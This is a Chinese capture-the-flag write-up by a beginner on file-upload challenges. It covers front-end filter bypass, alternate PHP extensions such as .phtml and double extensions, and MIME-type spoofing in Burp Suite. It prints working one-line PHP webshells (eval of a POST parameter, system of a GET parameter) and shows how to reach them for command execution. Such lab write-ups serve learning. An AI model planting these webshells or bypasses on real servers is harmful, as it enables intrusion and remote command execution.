目录
前端过滤
1.打开题目进入
2.试着上传一份php文件
<?php @eval($_POST['root']); ?>
php文件里面写了一句话木马,可以使用蚁剑进行连接,连接密码是root
3.发现上传不了
结论:可能是过滤了文件后缀名
4.使用burpsuit 抓取 php文件上传的数据包
5.发现抓取不到数据包
6.修改php文件的后缀为jpg,再尝试上传
7.发现可以上传
8.使用抓包工具抓包,可以抓到数据包
结论:是简单的前端过滤
9.修改文件后缀名,改回php后缀
10.再点击 forward 按钮进行发送
11.返回网页,发现文件已经上传成功
12.寻找php文件路径
>> 在url的路径上加上 ./upload/shell.php ,再回车
>> 显示是一片空白,说明路径正确,复制粘贴路径
13.打开蚁剑,使用蚁剑进行连接
12.连接成功后点开链接,在里面就可以发现flag
php特殊后缀
1.进入题目,同上一题一模一样的操作,在使用burpsuit抓包的时候可以抓到包
>> 修改文件的后缀名后 点击发送
2.提示php文件上传失败
结论:无法使用php后缀名,可以尝试使用php的特殊后缀
3.特殊后缀
特殊后缀: .php3 .php5 .php7 .phtml 等
多重后缀:1.jpg.php 等
4.使用burpsuit抓包,修改不同的后缀名进行尝试
5.最后使用 .phtml 的后缀名上传成功
6.找到文件路径(同上),使用蚁剑进行连接
7.找到falg
8.也可以使用多重后缀绕过php过滤
9.发现依然可以上传成功
10.同样使用蚁剑连接,可以得到flag
mime类型
1.同样无法上传php文件,只能上传图片
2.使用burpsuit 抓取 php文件上传的数据包
3 .发现可以抓到
4.修改文件 mime 类型,将php文件的mime类型修改为图片的mime类型
文件的MIME类型:
Content-Type:text-plain 文本文件的MIME类型
Content-Type:image/jpeg 图片的MIME类型
Content-Type:application/octet-strem PHP文件的MIME类型
5.点击 forward ,发现上传成功
6.接下来使用蚁剑进行连接 php 文件的路径
7.成功找到flag
其他做法
1.修改php文件后缀名为jpg,再次进行抓包
2.成功抓到数据包
3.在burpsuit里面修改回文件后缀名php
4.点击发送,发现没有上传成功
5.尝试使用特殊后缀,发现php9 可以上传成功,但是在使用蚁剑连接时无法连接 -->不知道为什么
6.再次尝试使用 .phtml 后缀可以上传成功,也可以使用蚁剑连接
7.蚁剑连接后,找到flag
8.同样使用多重后缀也可以找到flag
另外的一种一句话木马
1.上述题目都是使用到蚁剑,还有一种一句话木马不需要使用到蚁剑进行连接
<?PHP @system($_GET['cmd']);?>
2.以第一题 前端过滤 为例
>> 通过相同的操作得到 php文件的路径
>>在这个路径后面输入 ?cmd=ls
>>回车
>>就可以找到flag
3.如果将代码里面的 cmd 改成 yue
<?PHP @system($_GET['yue']);?>
>>那么在url 路径后面应该输入 ?yue=ls
>>同样能够得到flag
本人新手小白一枚,不喜勿喷,有错望大佬指正ヾ(≧▽≦*)o